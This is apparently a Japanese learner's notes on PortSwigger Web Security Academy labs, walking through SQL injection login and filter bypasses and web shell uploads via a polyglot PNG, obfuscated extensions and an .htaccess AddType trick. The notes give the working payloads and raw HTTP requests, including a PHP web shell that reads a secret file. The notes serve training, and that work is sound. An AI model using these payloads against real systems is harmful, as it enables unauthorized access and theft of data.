SQL injection 8 / 51 LAB2

ログイン機能のバイパス

前提:administrator というユーザ名が存在することは分かっている。

検証1:Username=administrator, Password=password

エラー:Invalid username or password.

検証2:Username=administrator'--, Password=`` 空値

未入力に対するチェックが入る

検証3:Username=administrator'--, Password=hoge

ログイン成功

リクエスト

POST /login HTTP/2
Host: 0aa600c7035ad5ff8030265000ec0072.web-security-academy.net
Cookie: session=PTS2qP1W9C2YJ7KzC0bT6jmqE4Ubgsiz
~省略~

csrf=bIhKMmiAEFvHRGpWAOopYDBKwPdvCLsY&username=administrator%27--&password=hoge

レスポンス

HTTP/2 302 Found
Location: /my-account?id=administrator
Set-Cookie: session=CmWlpcsfmabpu4fL16A4mU4D1YMVe4XK; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

SQL injection 6 / 51 LAB1

WHERE 句を使った SQL インジェクション

Gifts カテゴリーを選択=全3商品

この時のSQLクエリは次の通り。

SELECT * FROM products WHERE category = 'Gifts' AND released = 1

シングルクォート1つ追加

GET /filter?category=Gifts%27
(今回の例ではURLエンコードしない Gifts' でも同様の結果となった)

HTTP/2 500 Internal Server Error

シングルクォート2つ

GET /filter?category=Gifts%27%27

HTTP/2 200 OK
~省略~
<h1>Gifts&apos;&apos;</h1>

シングルクォート3つ

GET /filter?category=Gifts%27%27%27

HTTP/2 500 Internal Server Error

上記の挙動から``` = シングルクォートがSQL構文として有効に解釈されていると推測される。
よって次の入力を試す。

GET /filter?category=Gifts%27+or+1=1--

このときのSQLクエリは下記となる。

SELECT * FROM products WHERE category = 'Gifts' or 1=1--' AND released = 1

結果、未リリースの商品(released = 1 以外)を含めた全カテゴリーの商品が表示される。

ポリグロットWeb Shell アップロードによるリモートコード実行

26 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/flawed-validation-of-the-file-s-contents/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

1. デフォルトリクエスト

POST /my-account/avatar HTTP/2
Host: 0a6700fc03049b368000217e001d00ed.web-security-academy.net
Cookie: session=efUMh50kz9cCDfpO9SErNpqjec2epZfp
~省略~
------WebKitFormBoundarys7SzOdZyjdf9UAAx
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png

�PNG
~バイナリのため省略~

デフォルトアップロード先:

<img src="/files/avatars/hacker.png" class="avatar">

テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

2. 改ざん1

POST /my-account/avatar HTTP/2
Host: 0a6700fc03049b368000217e001d00ed.web-security-academy.net
Cookie: session=efUMh50kz9cCDfpO9SErNpqjec2epZfp
~省略~
------WebKitFormBoundaryFaR7iNBYy39Qlp1w
Content-Disposition: form-data; name="avatar"; filename="webshell1.php"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundaryFaR7iNBYy39Qlp1w

"Error: file is not a valid image Sorry, there was an error uploading your file."

3. ExifTool によるポリグロットファイルの作成

GitHub - exiftool/exiftool: ExifTool meta information reader/writer

$ sudo apt install libimage-exiftool-perl
$ exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" hacker.png -o polyglot.php
    1 image files created
$ ls -l hacker.png
-rw-r--r-- 1 demandosigno demandosigno 234685 Nov  2 18:26 hacker.png
$ file hacker.png
hacker.png: PNG image data, 718 x 718, 8-bit/color RGBA, non-interlaced

$ exiftool polyglot.php
ExifTool Version Number  : 12.40
File Name                : polyglot.php
~略~
File Type                : PNG
File Type Extension      : png
MIME Type                : image/png
~略~
Comment                  : <?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>

4. 改ざん2:作成した polyglot.php をフォームからアップロードする。

------WebKitFormBoundaryZ9jO6j6wTUv8H9sA
Content-Disposition: form-data; name="avatar"; filename="polyglot.php"
Content-Type: application/octet-stream

�PNG
~省略~StEXtComment<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>~省略~

アップロード先:

<img src="/files/avatars/polyglot.php" class="avatar">

START と END の間の文字列が答え。

難読化されたファイル拡張子によるWeb Shell のアップロード。23 of 35 ラボ

ブラックリスト・バイパスによる Web shell のアップロード。23 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/insufficient-blacklisting-of-dangerous-file-types/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension

デフォルトリクエスト

POST /my-account/avatar HTTP/2
Host: 0a2100ed048919a1823e510600a700de.web-security-academy.net
Cookie: session=BbuOADoJBlHjvRrRWcJhrRk9eZXX05O1
~省略~
------WebKitFormBoundaryhVfDZJ94x6USDOlu
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png

�PNG
~バイナリのため省略~

デフォルトアップロード先

<img src="/files/avatars/hacker.png" class="avatar">

1. テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

"Sorry, only JPG & PNG files are allowed"

2. 拡張子の改ざん

webshell.pHp → Sorry
webshell.php.jpg → uploaded だが、壊れた jpg としてしか認識されない
webshell.php. → Sorry
webshell%2Ephp → Sorry
webshell.php;.jpg → uploaded だが、404 Not Found
webshell.php%00.jpg → uploaded だが、404 Not Found

しかし、%00.jpg 部分は消すとPHPファイルとして動作する

Web Security Academy: File upload vulnerabilities

ブラックリスト・バイパスによる Web shell のアップロード。20 of 35 ラボ

https://portswigger.net/web-security/learning-paths/file-upload-vulnerabilities/insufficient-blacklisting-of-dangerous-file-types/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

デフォルトリクエスト

POST /my-account/avatar HTTP/2
Host: 0ad0006b0360a00aa91c1aa50035002c.web-security-academy.net
Cookie: session=MaMEkgW9w2SCDP1ik0p39ruNmlwPY7Qz
~省略~
  
------WebKitFormBoundaryBsueLBip14ARmpO6
Content-Disposition: form-data; name="avatar"; filename="hacker.png"
Content-Type: image/png
  
�PNG
~バイナリのため省略~

デフォルトアップロード先

<img src="/files/avatars/hacker.png" class="avatar">

1. テスト用WebShell

<?php echo file_get_contents('/home/carlos/secret'); ?>

"php files are not allowed"

2. .htaccess ファイルのアップロード(別の拡張子のファイルを PHP としてパース)

Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t(← LEET: リート。一部のアルファベットを似た形の数字や記号で置き換える書き方のこと)
HTTP/2 200 OK
The file avatars/.htaccess has been uploaded.

3. 拡張子を変えた WebShellの再アップロード

------WebKitFormBoundaryagT3gEkXQlWsnH8A
Content-Disposition: form-data; name="avatar"; filename="webshell3.l33t"
Content-Type: application/octet-stream
  
<?php echo file_get_contents('/home/carlos/secret'); ?>
HTTP/2 200 OK
The file avatars/webshell5.l33t has been uploaded.

.l33t ファイルもPHPであると関連付けられているため実行される。

参考情報

PHP: Apache 2.x (Unixシステム用) - Manual
Apache が特定の拡張子のファイルを PHP としてパースするよう設定します。 たとえば、Apache が拡張子 .php のファイルを PHP としてパースするようにします。 単に Apache の AddType ディレクティブを使うだけではなく、 悪意を持ってアップロード (あるいは作成) された exploit.php.jpg のようなファイルが PHP として実行されてしまわないようにしたいものです。

/* -----codeの行番号----- */